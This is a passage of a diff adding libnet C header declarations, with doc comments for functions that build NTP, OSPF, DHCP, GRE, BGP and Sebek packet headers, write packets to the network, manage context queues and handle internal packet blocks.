+ * @param leap_indicator the leap indicator
+ * @param version NTP protocol version
+ * @param mode NTP mode
+ * @param stratum stratum
+ * @param poll polling interval
+ * @param precision precision
+ * @param delay_interval delay interval
+ * @param delay_frac delay fraction
+ * @param dispersion_int dispersion interval
+ * @param dispersion_frac dispersion fraction
+ * @param reference_id reference id
+ * @param ref_ts_int reference timestamp integer
+ * @param ref_ts_frac reference timestamp fraction
+ * @param orig_ts_int original timestamp integer
+ * @param orig_ts_frac original timestamp fraction
+ * @param rec_ts_int receiver timestamp integer
+ * @param rec_ts_frac reciever timestamp fraction
+ * @param xmt_ts_int transmit timestamp integer
+ * @param xmt_ts_frac transmit timestamp integer
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ntp(u_int8_t leap_indicator, u_int8_t version, u_int8_t mode,
+u_int8_t stratum, u_int8_t poll, u_int8_t precision, u_int16_t delay_int,
+u_int16_t delay_frac, u_int16_t dispersion_int, u_int16_t dispersion_frac,
+u_int32_t reference_id, u_int32_t ref_ts_int, u_int32_t ref_ts_frac,
+u_int32_t orig_ts_int, u_int32_t orig_ts_frac, u_int32_t rec_ts_int,
+u_int32_t rec_ts_frac, u_int32_t xmt_ts_int, u_int32_t xmt_ts_frac,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ospfv2(u_int16_t len, u_int8_t type, u_int32_t rtr_id,
+u_int32_t area_id, u_int16_t sum, u_int16_t autype, u_int8_t *payload,
+u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ospfv2_hello(u_int32_t netmask, u_int16_t interval, u_int8_t opts,
+u_int8_t priority, u_int dead_int, u_int32_t des_rtr, u_int32_t bkup_rtr,
+u_int32_t neighbor, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ospfv2_dbd(u_int16_t dgram_len, u_int8_t opts, u_int8_t type,
+u_int seqnum, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ospfv2_lsr(u_int type, u_int lsid, u_int32_t advrtr,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ospfv2_lsu(u_int num, u_int8_t *payload, u_int32_t payload_s,
+libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ospfv2_lsa(u_int16_t age, u_int8_t opts, u_int8_t type,
+u_int lsid, u_int32_t advrtr, u_int seqnum, u_int16_t sum, u_int16_t len,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ospfv2_lsa_rtr(u_int16_t flags, u_int16_t num, u_int id,
+u_int data, u_int8_t type, u_int8_t tos, u_int16_t metric, u_int8_t *payload,
+u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ospfv2_lsa_net(u_int32_t nmask, u_int rtrid, u_int8_t *payload,
+u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ospfv2_lsa_sum(u_int32_t nmask, u_int metric, u_int tos,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_ospfv2_lsa_as(u_int32_t nmask, u_int metric, u_int32_t fwdaddr,
+u_int tag, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag);
+
+/**
+ * Builds a generic libnet protocol header. This is useful for including an
+ * optional payload to a packet that might need to change repeatedly inside
+ * of a loop.
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_data(u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_dhcpv4(u_int8_t opcode, u_int8_t htype, u_int8_t hlen,
+u_int8_t hopcount, u_int32_t xid, u_int16_t secs, u_int16_t flags,
+u_int32_t cip, u_int32_t yip, u_int32_t sip, u_int32_t gip, u_int8_t *chaddr,
+u_int8_t *sname, u_int8_t *file, u_int8_t *payload, u_int32_t payload_s,
+libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_bootpv4(u_int8_t opcode, u_int8_t htype, u_int8_t hlen,
+u_int8_t hopcount, u_int32_t xid, u_int16_t secs, u_int16_t flags,
+u_int32_t cip, u_int32_t yip, u_int32_t sip, u_int32_t gip, u_int8_t *chaddr,
+u_int8_t *sname, u_int8_t *file, u_int8_t *payload, u_int32_t payload_s,
+libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+inline u_int32_t
+libnet_getgre_length(u_int16_t fv);
+
+/**
+ * Generic Routing Encapsulation (GRE - RFC 1701) is used to encapsulate any
+ * protocol. Hence, the IP part of the packet is usually referred as "delivery
+ * header". It is then followed by the GRE header and finally the encapsulated
+ * packet (IP or whatever).
+ * As GRE is very modular, the first GRE header describes the structure of the
+ * header, using bits and flag to specify which fields will be present in the
+ * header.
+ * @param fv the 16 0 to 7: which fields are included in the header (checksum, seq. number, key, ...), bits 8 to 12: flag, bits 13 to 15: version.
+ * @param payload optional payload or NULL
+ * @param type which protocol is encapsulated (PPP, IP, ...)
+ * @param sum checksum (0 for libnet to autofill).
+ * @param offset byte offset from the start of the routing field to the first byte of the SRE
+ * @param key inserted by the encapsulator to authenticate the source
+ * @param seq sequence number used by the receiver to sort the packets
+ * @param len size of the GRE packet
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_gre(u_int16_t fv, u_int16_t type, u_int16_t sum,
+u_int16_t offset, u_int32_t key, u_int32_t seq, u_int16_t len,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Generic Routing Encapsulation (GRE - RFC 1701) is used to encapsulate any
+ * protocol. Hence, the IP part of the packet is usually referred as "delivery
+ * header". It is then followed by the GRE header and finally the encapsulated
+ * packet (IP or whatever).
+ * As GRE is very modular, the first GRE header describes the structure of the
+ * header, using bits and flag to specify which fields will be present in the
+ * header.
+ * @param fv the 16 0 to 7: which fields are included in the header (checksum, seq. number, key, ...), bits 8 to 12: flag, bits 13 to 15: version.
+ * @param payload optional payload or NULL
+ * @param type which protocol is encapsulated (PPP, IP, ...)
+ * @param sum checksum (0 for libnet to autofill).
+ * @param offset byte offset from the start of the routing field to the first byte of the SRE
+ * @param key inserted by the encapsulator to authenticate the source
+ * @param seq sequence number used by the receiver to sort the packets
+ * @param len size of the GRE packet
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_egre(u_int16_t fv, u_int16_t type, u_int16_t sum,
+u_int16_t offset, u_int32_t key, u_int32_t seq, u_int16_t len,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_gre_sre(u_int16_t af, u_int8_t offset, u_int8_t length,
+u_int8_t *routing, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag);
+
+/**
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_gre_last_sre(libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds an RFC 1771 Border Gateway Protocol 4 (BGP-4) header. The primary
+ * function of a BGP speaking system is to exchange network reachability
+ * information with other BGP systems. This network reachability information
+ * includes information on the list of Autonomous Systems (ASs) that
+ * reachability information traverses. This information is sufficient to
+ * construct a graph of AS connectivity from which routing loops may be pruned
+ * and some policy decisions at the AS level may be enforced.
+ * This function builds the base BGP header which is used as a preamble before
+ * any other BGP header. For example, a BGP KEEPALIVE message may be built with
+ * only this function, while an error notification requires a subsequent call
+ * to libnet_build_bgp4_notification.
+ * @param marker a value the receiver can predict (if the message type is not BGP OPEN, or no authentication is used, these 16 bytes are normally set as all ones)
+ * @param len total length of the BGP message, including the header
+ * @param type type code of the message (OPEN, UPDATE, NOTIFICATION or KEEPALIVE)
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_bgp4_header(u_int8_t marker[LIBNET_BGP4_MARKER_SIZE],
+u_int16_t len, u_int8_t type, u_int8_t *payload, u_int32_t payload_s,
+libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds an RFC 1771 Border Gateway Protocol 4 (BGP-4) OPEN header. This is
+ * the first message sent by each side of a BGP connection. The optional
+ * parameters options should be constructed using the payload interface (see
+ * RFC 1771 for the options structures).
+ * @param version protocol version (should be set to 4)
+ * @param src_as Autonomous System of the sender
+ * @param hold_time used to compute the maximum allowed time between the receipt of KEEPALIVE, and/or UPDATE messages by the sender
+ * @param bgp_id BGP identifier of the sender
+ * @param opt_len total length of the optional parameters field in bytes
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_bgp4_open(u_int8_t version, u_int16_t src_as, u_int16_t hold_time,
+u_int32_t bgp_id, u_int8_t opt_len, u_int8_t *payload, u_int32_t payload_s,
+libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds an RFC 1771 Border Gateway Protocol 4 (BGP-4) update header. Update
+ * messages are used to transfer routing information between BGP peers.
+ * @param unfeasible_rt_len indicates the length of the (next) "withdrawn routes" field in bytes
+ * @param withdrawn_rt list of IP addresses prefixes for the routes that are being withdrawn; each IP address prefix is built as a 2-tuple <length (1 byte), prefix (variable)>
+ * @param total_path_attr_len indicates the length of the (next) "path attributes" field in bytes
+ * @param path_attributes each attribute is a 3-tuple <type (2 bytes), length, value>
+ * @param info_len indicates the length of the (next) "network layer reachability information" field in bytes (needed for internal memory size calculation)
+ * @param reachability_info 2-tuples <length (1 byte), prefix (variable)>.
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_bgp4_update(u_int16_t unfeasible_rt_len, u_int8_t *withdrawn_rt,
+u_int16_t total_path_attr_len, u_int8_t *path_attributes, u_int16_t info_len,
+u_int8_t *reachability_info, u_int8_t *payload, u_int32_t payload_s,
+libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds an RFC 1771 Border Gateway Protocol 4 (BGP-4) notification header.
+ * A NOTIFICATION message is sent when an error condition is detected. Specific
+ * error information may be passed through the payload interface.
+ * @param err_code type of notification
+ * @param err_subcode more specific information about the reported error.
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_bgp4_notification(u_int8_t err_code, u_int8_t err_subcode,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds a Sebek header. The Sebek protocol was designed by the Honeynet
+ * Project as a transport mechanism for post-intrusion forensic data. More
+ * information may be found here: http://www.honeynet.org/papers/sebek.pdf.
+ * @param magic identify packets that should be hidden
+ * @param version protocol version, currently 1
+ * @param type type of record (read data is type 0, write data is type 1)
+ * @param counter PDU counter used to identify when packet are lost
+ * @param time_sec seconds since EPOCH according to the honeypot
+ * @param time_usec residual microseconds
+ * @param pid PID
+ * @param uid UID
+ * @param fd FD
+ * @param cmd[SEBEK_CMD_LENGTH] 12 first characters of the command
+ * @param length length in bytes of the PDU's body
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_sebek(u_int32_t magic, u_int16_t version, u_int16_t type,
+u_int32_t counter, u_int32_t time_sec, u_int32_t time_usec, u_int32_t pid,
+u_int32_t uid, u_int32_t fd, u_int8_t cmd[SEBEK_CMD_LENGTH], u_int32_t length,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Builds a link layer header for an initialized l. The function
+ * determines the proper link layer header format from how l was initialized.
+ * The function current supports Ethernet and Token Ring link layers.
+ * @param dst the destination MAC address
+ * @param src the source MAC address
+ * @param oui Organizationally Unique Identifier (unused for Ethernet)
+ * @param type the upper layer protocol type
+ * @param payload optional payload or NULL
+ * @param payload_s payload length or 0
+ * @param l pointer to a libnet context
+ * @param ptag protocol tag to modify an existing header, 0 to build a new one
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_build_link(u_int8_t *dst, u_int8_t *src, u_int8_t *oui, u_int16_t type,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag);
+
+/**
+ * Automatically builds a link layer header for an initialized l. The function
+ * determines the proper link layer header format from how l was initialized.
+ * The function current supports Ethernet and Token Ring link layers.
+ * @param dst the destination MAC address
+ * @param oui Organizationally Unique Identifier (unused for Ethernet)
+ * @param type the upper layer protocol type
+ * @param l pointer to a libnet context
+ * @return protocol tag value on success, -1 on error
+ */
+libnet_ptag_t
+libnet_autobuild_link(u_int8_t *dst, u_int8_t *oui, u_int16_t type,
+libnet_t *l);
+
+/**
+ * Writes a prebuilt packet to the network. The function assumes that l was
+ * previously initialized (via a call to libnet_init()) and that a
+ * previously constructed packet has been built inside this context (via one or
+ * more calls to the libnet_build* family of functions) and is ready to go.
+ * Depending on how libnet was initialized, the function will write the packet
+ * to the wire either via the raw or link layer interface. The function will
+ * also bump up the internal libnet stat counters which are retrievable via
+ * libnet_stats().
+ * @param l pointer to a libnet context
+ * @return the number of bytes written, -1 on error
+ */
+int
+libnet_write(libnet_t *l);
+
+/**
+ * Returns the IP address for the device libnet was initialized with. If
+ * libnet was initialized without a device (in raw socket mode) the function
+ * will attempt to find one. If the function fails and returns -1 a call to
+ * libnet_geterrror() will tell you why.
+ * @param l pointer to a libnet context
+ * @return a big endian IP address suitable for use in a libnet_build function or -1
+ */
+
+u_int32_t
+libnet_get_ipaddr4(libnet_t *l);
+
+/**
+ * This function is not yet implemented under IPv6.
+ * @param l pointer to a libnet context
+ * @return well, nothing yet
+ */
+struct libnet_in6_addr
+libnet_get_ipaddr6(libnet_t *l);
+
+/**
+ * Returns the MAC address for the device libnet was initialized with. If
+ * libnet was initialized without a device the function will attempt to find
+ * one. If the function fails and returns NULL a call to libnet_geterror() will
+ * tell you why.
+ * @param l pointer to a libnet context
+ * @return a pointer to the MAC address or NULL
+ */
+struct libnet_ether_addr *
+libnet_get_hwaddr(libnet_t *l);
+
+/**
+ * Takes a colon separated hexidecimal address (from the command line) and
+ * returns a bytestring suitable for use in a libnet_build function. Note this
+ * function performs an implicit malloc and the return value should be freed
+ * after its use.
+ * @param s the string to be parsed
+ * @param len the resulting size of the returned byte string
+ * @return a byte string or NULL on failure
+ */
+u_int8_t *
+libnet_hex_aton(int8_t *s, int *len);
+
+/**
+ * [Advanced Interface]
+ * Yanks a prebuilt, wire-ready packet from the given libnet context. If
+ * libnet was configured to do so (which it is by default) the packet will have
+ * all checksums written in. This function is part of the advanced interface
+ * and is only available when libnet is initialized in advanced mode. It is
+ * important to note that the function performs an implicit malloc() and a
+ * corresponding call to libnet_adv_free_packet() should be made to free the
+ * memory packet occupies. If the function fails libnet_geterror() can tell you
+ * why.
+ * @param l pointer to a libnet context
+ * @param packet will contain the wire-ready packet
+ * @param packet_s will contain the packet size
+ * @return 1 on success, -1 on failure
+ */
+int
+libnet_adv_cull_packet(libnet_t *l, u_int8_t **packet, u_int32_t *packet_s);
+
+/**
+ * [Advanced Interface]
+ * Pulls the header from the specified ptag from the given libnet context. This
+ * function is part of the advanced interface and is only available when libnet
+ * is initialized in advanced mode. If the function fails libnet_geterror() can
+ * tell you why.
+ * @param l pointer to a libnet context
+ * @param ptag the ptag referencing the header to pull
+ * @param header will contain the header
+ * @param header_s will contain the header size
+ * @return 1 on success, -1 on failure
+ */
+int
+libnet_adv_cull_header(libnet_t *l, libnet_ptag_t ptag, u_int8_t **header,
+u_int32_t *header_s);
+
+/**
+ * [Advanced Interface]
+ * Writes a packet the network at the link layer. This function is useful to
+ * write a packet that has been constructed by hand by the application
+ * programmer or, more commonly, to write a packet that has been returned by
+ * a call to libnet_adv_cull_packet(). This function is part of the advanced
+ * interface and is only available when libnet is initialized in advanced mode.
+ * If the function fails libnet_geterror() can tell you why.
+ * @param l pointer to a libnet context
+ * @param packet a pointer to the packet to inject
+ * @param packet_s the size of the packet
+ * @return the number of bytes written, or -1 on failure
+ */
+int
+libnet_adv_write_link(libnet_t *l, u_int8_t *packet, u_int32_t packet_s);
+
+/**
+ * [Advanced Interface]
+ * Frees the memory allocated when libnet_adv_cull_packet() is called.
+ * @param l pointer to a libnet context
+ * @param packet a pointer to the packet to free
+ */
+void
+libnet_adv_free_packet(libnet_t *l, u_int8_t *packet);
+
+/**
+ * [Context Queue]
+ * Adds a new context to the libnet context queue. If no queue exists, this
+ * function will create the queue and add the specified libnet context as the
+ * first entry on the list. The functions checks to ensure niether l nor label
+ * are NULL, and that label doesn't refer to an existing context already in the
+ * queue. Additionally, l should refer to a libnet context previously
+ * initialized with a call to libnet_init(). If the context queue in write
+ * locked, this function will fail.
+ * @param l pointer to a libnet context
+ * @param label a canonical name given to recognize the new context, no longer than LIBNET_LABEL_SIZE
+ * @return 1 on success, -1 on failure
+*/
+int
+libnet_cq_add(libnet_t *l, char *label);
+
+/**
+ * [Context Queue]
+ * Removes a specified context from the libnet context queue by specifying the
+ * libnet context pointer. Note the function will remove the specified context
+ * from the context queue and cleanup internal memory from the queue, it is up
+ * to the application programmer to free the returned libnet context with a
+ * call to libnet_destroy(). Also, as it is not necessary to keep the libnet
+ * context pointer when initially adding it to the context queue, most
+ * application programmers will prefer to refer to entries on the context
+ * queue by canonical name and would use libnet_cq_remove_by_label(). If the
+ * context queue is write locked, this function will fail.
+ * @param l pointer to a libnet context
+ * @return the pointer to the removed libnet context, NULL on failure
+ */
+libnet_t *
+libnet_cq_remove(libnet_t *l);
+
+/**
+ * [Context Queue]
+ * Removes a specified context from the libnet context queue by specifying the
+ * canonical name. Note the function will remove the specified context from
+ * the context queue and cleanup internal memory from the queue, it is up to
+ * the application programmer to free the returned libnet context with a call
+ * to libnet_destroy(). If the context queue is write locked, this function
+ * will fail.
+ * @param label canonical name of the context to remove
+ * @return the pointer to the removed libnet context, NULL on failure
+ */
+libnet_t *
+libnet_cq_remove_by_label(char *label);
+
+/**
+ * [Context Queue]
+ * Returns the canonical label associated with the context.
+ * @param l pointer to a libnet context
+ * @return pointer to the libnet context's label
+ */
+int8_t *
+libnet_cq_getlabel(libnet_t *l);
+
+/**
+ * [Context Queue]
+ * Locates a libnet context from the queue, indexed by a canonical label.
+ * @param label canonical label of the libnet context to retrieve
+ * @return the expected libnet context, NULL on failure
+ */
+libnet_t *
+libnet_cq_find_by_label(char *label);
+
+/**
+ * [Context Queue]
+ * Destroys the entire context queue, calling libnet_destroy() on each
+ * member context.
+ */
+void
+libnet_cq_destroy();
+
+/**
+ * [Context Queue]
+ * Intiailizes the interator interface and set a write lock on the entire
+ * queue. This function is intended to be called just prior to interating
+ * through the entire list of contexts (with the probable intent of inject a
+ * series of packets in rapid succession). This function is often used as
+ * per the following:
+ *
+ * for (l = libnet_cq_head(); libnet_cq_last(); l = libnet_cq_next())
+ * {
+ * ...
+ * }
+ *
+ * Much of the time, the application programmer will use the iterator as it is
+ * written above; as such, libnet provides a macro to do exactly that,
+ * for_each_context_in_cq(l). Warning: do not call the iterator more than once
+ * in a single loop.
+ * @return the head of the context queue
+ */
+libnet_t *
+libnet_cq_head();
+
+/**
+ * [Context Queue]
+ * Check whether the iterator is at the last context in the queue.
+ * @return 1 if at the end of the context queue, 0 otherwise
+ */
+int
+libnet_cq_last();
+
+/**
+ * [Context Queue]
+ * Get next context from the context queue.
+ * @reutrn the next context from the context queue
+ */
+libnet_t *
+libnet_cq_next();
+
+/**
+ * [Context Queue]
+ * Function returns the number of libnet contexts that are in the queue.
+ * @return the number of libnet contexts currently in the queue
+ */
+u_int32_t
+libnet_cq_size();
+
+/**
+ * [Diagnostic]
+ * Prints the contents of the given context.
+ * @param l pointer to a libnet context
+ */
+void
+libnet_diag_dump_context(libnet_t *l);
+
+/**
+ * [Diagnostic]
+ * Prints the contents of every pblock.
+ * @param l pointer to a libnet context
+ */
+void
+libnet_diag_dump_pblock(libnet_t *l);
+
+/**
+ * [Diagnostic]
+ * Returns the canonical name of the pblock type.
+ * @param type pblock type
+ * @return a string representing the pblock type type or "unknown" for an unknown value
+ */
+char *
+libnet_diag_dump_pblock_type(u_int8_t type);
+
+/**
+ * [Diagnostic]
+ * Function prints the contents of the supplied buffer to the supplied
+ * stream pointer. Will swap endianness based disposition of mode variable.
+ * Useful to be used in conjunction with the advanced interface and a culled
+ * packet.
+ * @param packet the packet to print
+ * @param len length of the packet in bytes
+ * @param swap 1 to swap byte order, 0 to not
+ * @param stream a stream pointer to print to
+ */
+void
+libnet_diag_dump_hex(u_int8_t *packet, u_int32_t len, int swap, FILE *stream);
+
+/*
+ * [Internal]
+ */
+int
+libnet_write_raw_ipv4(libnet_t *l, u_int8_t *packet, u_int32_t size);
+
+/*
+ * [Internal]
+ */
+int
+libnet_write_raw_ipv6(libnet_t *l, u_int8_t *packet, u_int32_t size);
+
+/*
+ * [Internal]
+ */
+int
+libnet_write_link(libnet_t *l, u_int8_t *packet, u_int32_t size);
+
+#if ((__WIN32__) && !(__CYGWIN__))
+/*
+ * [Internal]
+ */
+SOCKET
+libnet_open_raw4(libnet_t *l);
+#else
+/*
+ * [Internal]
+ */
+int
+libnet_open_raw4(libnet_t *l);
+#endif
+
+/*
+ * [Internal]
+ */
+int
+libnet_close_raw4(libnet_t *l);
+
+/*
+ * [Internal]
+ */
+int
+libnet_open_raw6(libnet_t *l);
+
+/*
+ * [Internal]
+ */
+int
+libnet_close_raw6(libnet_t *l);
+
+/*
+ * [Internal]
+ */
+int
+libnet_select_device(libnet_t *l);
+
+/*
+ * [Internal]
+ */
+int
+libnet_open_link(libnet_t *l);
+
+/*
+ * [Internal]
+ */
+int
+libnet_close_link(libnet_t *l);
+
+/*
+ * [Internal]
+ */
+int
+libnet_do_checksum(libnet_t *l, u_int8_t *packet, int protocol, int len);
+
+/*
+ * [Internal]
+ */
+u_int32_t
+libnet_compute_crc(u_int8_t *buf, u_int32_t len);
+
+/*
+ * [Internal]
+ */
+u_int16_t
+libnet_ip_check(u_int16_t *addr, int len);
+
+/*
+ * [Internal]
+ */
+int
+libnet_in_cksum(u_int16_t *addr, int len);
+
+/*
+ * [Internal]
+ * If ptag is 0, function will create a pblock for the protocol unit type,
+ * append it to the list and return a pointer to it. If ptag is not 0,
+ * function will search the pblock list for the specified protocol block
+ * and return a pointer to it.
+ */
+libnet_pblock_t *
+libnet_pblock_probe(libnet_t *l, libnet_ptag_t ptag, u_int32_t n,
+u_int8_t type);
+
+/*
+ * [Internal]
+ * Function creates the pblock list if l->protocol_blocks == NULL or appends
+ * an entry to the doubly linked list.
+ */
+libnet_pblock_t *
+libnet_pblock_new(libnet_t *l, u_int32_t size);
+
+/*
+ * [Internal]
+ * Function swaps two pblocks in memory.
+ */
+int
+libnet_pblock_swap(libnet_t *l, libnet_ptag_t ptag1, libnet_ptag_t ptag2);
+
+/*
+ * [Internal]
+ * Function inserts a pblock into the doubly linked list.
+ */
+int
+libnet_pblock_insert_before(libnet_t *l, libnet_ptag_t ptag1,
+libnet_ptag_t ptag2);
+
+/*
+ * [Internal]
+ * Function removes a pblock from context
+ */
+void
+libnet_pblock_delete(libnet_t *l, libnet_pblock_t *p);
+
+/*
+ * [Internal]
+ * Function updates the pblock meta-inforation. Internally it updates the
+ * ptag with a monotonically increasing variable kept in l. This way each
+ * pblock has a succesively increasing ptag identifier.
+ */
+libnet_ptag_t
+libnet_pblock_update(libnet_t *l, libnet_pblock_t *p, u_int32_t h,
+u_int8_t type);
+
+
+ /*
+ * [Internal]
+ * Checksums are a real pain in the <beep>!!!
+ * Function updates referer used to compute the checksum. All
+ * pblock need to know where is their referer (ie IP header).
+ * So, this function is called each time a new IP header is inserted.
+ * It updates the ip_pos field (referer) of each subsequent pblock.
+ */
+void
+libnet_pblock_record_ip_offset(libnet_t *l, u_int32_t offset);
+
+/*
+ * [Internal]
+ * Function locates a given block by it's ptag.
+ */
+libnet_pblock_t *
+libnet_pblock_find(libnet_t *l, libnet_ptag_t ptag);
+
+/*
+ * [Internal]
+ * Function copies protocol block data over.
+ */
+int
+libnet_pblock_append(libnet_t *l, libnet_pblock_t *p, u_int8_t *buf,
+u_int32_t len);
+
+/*
+ * [Internal]
+ * Function sets pblock flags.
+ */
+void
+libnet_pblock_setflags(libnet_pblock_t *p, u_int8_t flags);
+
+/*
+ * [Internal]
+ * Function returns the protocol number for the protocol block type. If
+ * the type is unknown, the function defaults to returning IPPROTO_IP.
+ */
+int
+libnet_pblock_p2p(u_int8_t type);
+
+/*
+ * [Internal]
+ * Function assembles the packet for subsequent writing. Function makes two
+ * passes through the pblock list:
+ */
+int
+libnet_pblock_coalesce(libnet_t *l, u_int8_t **packet, u_int32_t *size);
+
+#if !(__WIN32__)
+/*
+ * [Internal]
+ * By testing if we can retrieve the FLAGS of an iface
+ * we can know if it exists or not and if it is up.
+ */
+int
+libnet_check_iface(libnet_t *l);
+#endif
+
+#if defined(__WIN32__)
+/*
+ * [Internal]
+ */
+BYTE *
+libnet_win32_get_remote_mac(libnet_t *l, DWORD IP);
+
+/*
+ * [Internal]
+ */
+int
